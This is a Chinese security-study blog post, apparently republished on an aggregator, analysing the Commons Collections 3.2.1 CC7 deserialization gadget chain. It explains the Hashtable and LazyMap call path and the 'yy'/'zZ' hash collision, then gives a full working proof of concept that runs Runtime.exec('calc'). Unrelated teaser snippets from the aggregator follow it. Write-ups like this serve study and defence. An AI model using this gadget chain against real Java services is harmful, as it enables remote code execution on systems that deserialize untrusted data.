CC7利用链分析

分析版本

Commons Collections 3.2.1

JDK 8u65

环境配置参考JAVA安全初探(三):CC1链全分析

分析过程

CC7,6,5都是在CC1 LazyMap利用链(引用)的基础上。

只是进入到LazyMap链的入口链不同。

CC7这个链有点绕,下面顺着分析一下利用链。

入口类是Hashtable,看下它的readObject函数。

调用了reconstitutionPut方法

private void readObject(java.io.ObjectInputStream s)throws IOException, ClassNotFoundException
{// Read in the length, threshold, and loadfactors.defaultReadObject();// Read the original length of the array and number of elementsint origlength = s.readInt();int elements = s.readInt();// Compute new size with a bit of room 5% to grow but// no larger than the original size.  Make the length// odd if it's large enough, this helps distribute the entries.// Guard against the length ending up zero, that's not valid.int length = (int)(elements * loadFactor) + (elements / 20) + 3;if (length > elements && (length & 1) == 0)length--;if (origlength > 0 && length > origlength)length = origlength;table = new Entry<?,?>[length];threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);count = 0;// Read the number of elements and then all the key/value objectsfor (; elements > 0; elements--) {@SuppressWarnings("unchecked")K key = (K)s.readObject();@SuppressWarnings("unchecked")V value = (V)s.readObject();// synch could be eliminated for performancereconstitutionPut(table, key, value);}
}

首先要知道,HashTable是数组+链表的形式,链表是用来处理哈希冲突的。

代码分析放在注释中

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)throws StreamCorruptedException
{if (value == null) {throw new java.io.StreamCorruptedException();}// Makes sure the key is not already in the hashtable.// This should not happen in deserialized version.int hash = key.hashCode();int index = (hash & 0x7FFFFFFF) % tab.length;      //首先求key的哈希值for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) { //for循环是判断,key哈希值对应的链表中有没有key相同的键值对,如果有则抛出异常(键不能相同)if ((e.hash == hash) && e.key.equals(key)) {    //根据运算符规则,我们想执行&&的第二项e.key.equals(key)就要保证第一项(e.hash == hash)为真(关于哈希碰撞的寻找,下面讲)throw new java.io.StreamCorruptedException();}}// Creates the new entry.@SuppressWarnings("unchecked")Entry<K,V> e = (Entry<K,V>)tab[index];tab[index] = new Entry<>(hash, key, value, e);count++;
}

调用从e.key.equals(key)开始,我们可以控制两个key的传值。(下文中e.key用key1代替,(key)用key2代替)

首先e.key.equals,我们控制key1的类型是LazyMap,就成了调用LazyMap.equals()。而LazyMap类中没有实现equals方法,就调用到了它父类AbstractMapDecorator的equals。

public boolean equals(Object object) { //参数参入的是key2if (object == this) {return true;}return map.equals(object);         //这里的map注意是,key1(LazyMap的key)  作者在这里是把LazyMap的key设置为HashMap类型, 具体原因下面分析
}

下面走到了HashMap.equals(key2) ,这里又由于HashMap中没有equals方法,成了调用其父类AbstractMap的equals方法。

public boolean equals(Object o) {    //参数传入是key2if (o == this)return true;if (!(o instanceof Map))return false;Map<?,?> m = (Map<?,?>) o;      //key2赋值给mif (m.size() != size())return false;try {Iterator<Entry<K,V>> i = entrySet().iterator();while (i.hasNext()) {Entry<K,V> e = i.next();K key = e.getKey();V value = e.getValue();if (value == null) {if (!(m.get(key)==null && m.containsKey(key))) return false;} else {if (!value.equals(m.get(key)))            //m是key2调用key2的get方法,也就是找到了调用LazyMap.get()的地方,我们把key2赋个LazyMap类型就好了,   key是key1return false;}}} catch (ClassCastException unused) {return false;} catch (NullPointerException unused) {return false;}return true;
}

到这里调用到了LazyMap.get方法,利用链完成。

我们传入两个LazyMap,保证两个LazyMap.hashCode相等,也就是LazyMap.key.hashCode的值相等,找哈希碰撞。

下面看下哈希碰撞,作者找到的是String类的碰撞

public int hashCode() { //String类的hashCode方法int h = hash;if (h == 0 && value.length > 0) {char val[] = value;for (int i = 0; i < value.length; i++) {h = 31 * h + val[i];}hash = h;}return h;
}

" y y " . h a s h C o d e ( ) = 31 ∗ A S C I I ( y ) + 1 ∗ A S C I I ( y ) = 31 ∗ 121 + 1 ∗ 121 = 3872 "yy".hashCode()=31*ASCII(y) + 1*ASCII(y) = 31*121+1*121=3872 "yy".hashCode()=31ASCII(y)+1ASCII(y)=31121+1121=3872

和"zZ"求出来的值是一样的,哈希碰撞我们就找到了。

我们把"yy"和"zZ",put进LazyMap的key中就好了。

之后写Poc

public class cc7 {//Hashtable//Map map = new HashMap<>;public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap1 = new HashMap<>();HashMap<Object, Object> hashMap2 = new HashMap<>();Map map1 = LazyMap.decorate(hashMap1, chainedTransformer);map1.put("yy", 1);                    写入hashMap1Map map2 = LazyMap.decorate(hashMap2, chainedTransformer);map2.put("zZ", 1);Hashtable<Object, Object> hashtable = new Hashtable<>();hashtable.put(map1, 1);hashtable.put(map2, 1);//cc1_poc.serialize(hashtable);cc1_poc.unserialize("s.ser");}
}

我们发现反序列化时不能弹计算器,debug看一下,第二个key传进来的size是2,导致hashCode计算为7730

image-20240709150021575

传进来size是2是因为,在hashtable.put(map2, 1);时,触发了利用链(put方法也会检查键值对,触发利用链),调用了LazyMap的get方法(触发了计算器),还执行了map2.put(“yy”, 1)。解决map2.put问题,在序列化之前我们反射调用map2的remove方法,把"yy"删除。

image-20240709152052991

最终Poc

public class cc7 {//Hashtable//Map map = new HashMap<>;public static void main(String[] args) throws Exception {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getDeclaredMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),new ConstantTransformer("1")};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object, Object> hashMap1 = new HashMap<>();HashMap<Object, Object> hashMap2 = new HashMap<>();Map map1 = LazyMap.decorate(hashMap1, chainedTransformer);map1.put("yy", 1);                    写入hashMap1Map map2 = LazyMap.decorate(hashMap2, chainedTransformer);map2.put("zZ", 1);Hashtable<Object, Object> hashtable = new Hashtable<>();hashtable.put(map1, 1);hashtable.put(map2, 1);//反射Method remove = map2.getClass().getDeclaredMethod("remove", Object.class);remove.setAccessible(true);remove.invoke(map2,"yy");cc1_poc.serialize(hashtable);cc1_poc.unserialize("s.ser");}
}

这样在序列化时也会触发计算器

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/43728.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

前端入门知识分享:如何在HTML或CSS文件中引用CSS文件。

阅读提示&#xff1a;本文仅仅仅适用于刚刚接触HTML和CSS的小白从业者&#xff0c;新人爱好者。自觉身份不符的老鸟们&#xff0c;尽快绕行吧&#xff01; 什么是CSS&#xff1f;什么是CSS文件。 CSS&#xff0c;全称为Cascading Style Sheets&#xff08;层叠样式表&#xff…

分布式IO模块软件配置

组态接口模块 1、打开网络视图 2、拖拽出ET200SP 3、双击ET200SP的图片&#xff0c;进入从站配置 总线适配器的组态更换 关于IO地址分配&#xff0c;需要建立好子网通信后&#xff0c;在主机上配置。 可以看到IP 和设备名 设备与控制器的Profinet连接 先找到设备名称再找…

HarmonyOS鸿蒙DevEco Studio无法连接本地模拟器

使用DevEcoStudio 5.0.3.403版本 发现无法选择模拟器 解决方法&#xff1a; 1、打开模拟器 2、关闭DevEco Studio&#xff0c;&#xff08;不要关闭模拟器&#xff09; 3、重新打开DevEco Studio。

四道经典算法JAVA

1.爬楼地 爬20个台阶的爬法:f(19)f(18) 经典斐波拉契数列问题 public class demo4 {//爬楼梯问题public static void main(String[] args) {System.out.println(getSum(20));}public static int getSum(int n) {if (n 1)return 1;if (n 2)return 2;return getSum(n - 1) …

SpringBoot:SpringBoot中如何实现对Http接口进行监控

一、前言 Spring Boot Actuator是Spring Boot提供的一个模块&#xff0c;用于监控和管理Spring Boot应用程序的运行时信息。它提供了一组监控端点&#xff08;endpoints&#xff09;&#xff0c;用于获取应用程序的健康状态、性能指标、配置信息等&#xff0c;并支持通过 HTTP …

关于Python的类的一些理解

才发现python的类对象只能调用类方法 我想使用对类对象a使用系统调用的len方法就会报错 2.类对象a是什么&#xff1f; 答&#xff1a;是所有的带有self的成员变量 举例说明&#xff1a;红色的就是a里面的东西 class A:def __init__(self,data):self.datadataself.b1self.d{a…

解读‘‘不要卷模型,要卷应用‘‘

前言 2024 年 7 月 4 日&#xff0c;世界人工智能大会暨人工智能全球治理高级别会议全体会议在上海世博中心举行。百度创始人李彦宏在产业发展主论坛上发言&#xff0c;呼吁不要卷模型&#xff0c;要卷应用。 目录 四个要点 积极的观点 不合理性 总结 四个要点 李彦宏的呼吁…

多模态:Nougat详解

文章目录 前言一、模型结构1. encoder2. decoder3. set 二、数据增强三、数据splitting the pages 四、实验评估repetitions during inference 五、代码1. 环境安装2. Dataset&#xff08;dataset.py&#xff09;3. Model&#xff08;model.py&#xff09; 总结 前言 科学知识…

一网统管/视频汇聚/安防监控平台EasyCVR启动后无法访问是什么原因?

智慧城市/一网统管/视频汇聚/安防监控平台EasyCVR兼容性强&#xff0c;支持多协议接入&#xff0c;包括国标GB/T 28181协议、GA/T 1400协议、部标JT808协议、RTMP、RTSP/Onvif协议、海康Ehome、海康SDK、大华SDK、华为SDK、宇视SDK、乐橙SDK、萤石云SDK等&#xff0c;并能对外分…

接口测试课程结构

课程大纲 如图&#xff0c;接下来的阶段课程&#xff0c;依次专项讲解如下专题&#xff0c;能力级别为中级&#xff0c;进阶后基本为中高级&#xff1a; 1.接口基础知识&#xff1b; 2.抓包工具&#xff1b; 3.接口工具&#xff1b; 4.mock服务搭建&#xff08;数据模拟服务&am…

Git使用——首次创建本地仓库、配置、初始化、关联远程仓库

1、安装 Git软件 官网&#xff1a;git-scm.com 有时候官网打不开&#xff0c;这里留存个之前下载过的安装包&#xff1a; https://download.csdn.net/download/weixin_43908355/89502977 2、配置本地仓库 在准备建仓库的文件夹里&#xff0c;右键点击&#xff1a;Git Bash …

鸿蒙系统创建签名文件及使用创建签名文件打包并安装

* 第一步 第二步&#xff1a;创建.p12文件&#xff0c;点击New如果有的话就Choose Existing 填好下面信息 点击Next进入到下面界面 开始生成csr文件如下图 点击OK–>Finish 文件保存在了下面目录 第三步 1.访问华为开发者平台&#xff0c;登录开发者账号&#xff0c;进…

【linux服务器篇】-Redis-RDM远程连接redis

redis desktop manager 使用远程连接工具RDM连接redis 市面上比较常见的其中一款工具redis desktop manager 简单的说&#xff1a; Redis Desktop Manager 简单的来讲就是Redis可视化工具&#xff0c;可以让我们看到Redis中存储的内容。 redis desktop manager是一款功能强…

【面试八股总结】面向对象三大特性、虚函数、纯虚函数、虚继承

参考资料&#xff1a;阿秀 一、面向对象三大特性 封装&#xff1a;将数据和代码捆绑在一起&#xff0c;避免外界干扰和不确定性访问 继承&#xff1a;让某种类型对象获得另一个类型对象的属性和方法 多态&#xff1a;同一种事务表现出不同事务的能力&#xff0c;即&#xf…

数据库课设---学生宿舍管理系统(sql server+C#)

1.引言 1.1 内容及要求 设计内容&#xff1a;设计学生宿舍管理系统。 设计要求&#xff1a; &#xff08;1&#xff09;数据库应用系统开发的需求分析&#xff0c;写出比较完善系统功能。 &#xff08;2&#xff09;数据库概念模型设计、逻辑模型设计以及物理模型设计。 …

yolov8 人体姿态识别

引言 在计算机视觉的各种应用中&#xff0c;人体姿态检测是一项极具挑战性的任务&#xff0c;它能够帮助我们理解人体各部位的空间位置。本文将详细介绍如何使用 YOLOv8 和 Python 实现一个人体姿态检测系统&#xff0c;涵盖模型加载、图像预处理、姿态预测到结果可视化的全流…

Echarts水球图(liquidFill)添加文字

效果 代码 {type: liquidFill,shape: shapes[0].value,radius: 90%,data: [{name: 独立百货,value: 0}],center: [50%, 50%],color: [{type: linear,x: 0,y: 0,x2: 0,y2: 1,colorStops: [{offset: 0,color: #446bf5},{offset: 1,color: #2ca3e2}],globalCoord: false}],backgro…

JSP实现简单的登录和注册

JSP实现登录和注册&#xff08;Map集合模拟数据库&#xff09; 1、login.jsp2、 loginSelect.jsp3、register.jsp4、 RegisterSelect.jsp5、 index.jsp 1、login.jsp login.jsp中username和password在LoginSelect.jsp验证是否一致使用session.setAttribute("login_msg&quo…

【RHCE】dns实验0707

题目&#xff1a; 做法: 1.创建两个虚拟机 张三&#xff1a;且有加密 李四&#xff1a; 设置zhangsan/lisi对应的html网页 主服务器测试&#xff1a; 证书验证 2.配置dns 主服务器&#xff1a; 区域文件&#xff08;zs/lisi&#xff09; 从服务器&#xff1a; 且dns为主服务…

OZON生活家居用品爆款新品

OZON生活家居用品爆款新品涵盖了多个方面&#xff0c;这些产品不仅满足了消费者对生活品质的追求&#xff0c;也反映了当前市场的热门趋势。以下是一些在OZON平台上备受关注的生活家居用品爆款新品&#xff1a; OZON生活家居用品爆款新品工具&#xff1a;D。DDqbt。COm/74rD T…